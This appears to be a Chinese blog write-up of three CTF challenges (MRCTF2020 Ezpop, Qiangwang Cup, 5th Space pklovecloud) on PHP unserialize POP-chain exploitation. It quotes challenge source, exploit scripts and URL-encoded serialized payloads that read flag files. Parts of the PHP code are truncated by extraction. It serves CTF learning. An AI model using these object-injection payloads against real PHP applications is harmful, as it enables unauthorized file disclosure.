最近有再看反序列化,尝试着学一下比赛中的反序列化:pop链的构造以及应用
[MRCTF2020]Ezpop先了解一下pop链中的魔法函数:pop构造函数
append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
本题解题思路:构造pop链
首先找链子的头和尾,头是get参数,尾是Modifier类中的include函数,可以利用php伪协议得到flag,开始从尾向头推。
pop链即:
写出exp:
source=$b; $b -> str=$c; $c -> p =$d; echo urlencode(serialize($a));强网杯 赌徒
name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
本题同样是利用构造pop链解题
pop链即:
exp:
promise='I will not !!!!'; return $this->promise; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; } $a = new Start(); $b = new Info(); $c = new Room(); $d = new Room(); //在源码中存在两个变量的转移,需要两个新类 $a -> name = $b; $b -> file['filename'] = $c; $c -> a = $d; echo urlencode(serialize($a)); ?>第五空间:pklovecloud
ctfhub有题目练习,源码:
cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
本题中同样先看头和尾,头是get传参pks,尾是利用第二个echo name中的file_get_contents()函数得到flag
分析ace类:由尾向前推,知道本题中需要变量neutron和nova相等,可以生成序列化后的内容,再赋值给docker变量进行反序列化。
构造第一段exp:
得到:docker变量的值
O%3A3%3A%22ace%22%3A3%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3B%7D
往上推:本题中的第一个echo name()函数是没用的,让toString()调用第二个echo name()函数即ace类,第二段exp:
class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } } class ace { public $filename='flag.php'; public $openstack; public $docker='O%3A3%3A%22ace%22%3A3%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3B%7D'; } $a=new acp(); echo urlencode(serialize($a));得到:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A147%3A%22O%253A3%253A%2522ace%2522%253A3%253A%257Bs%253A7%253A%2522neutron%2522%253Bs%253A1%253A%25221%2522%253Bs%253A4%253A%2522nova%2522%253Bs%253A1%253A%25221%2522%253Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到flag
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)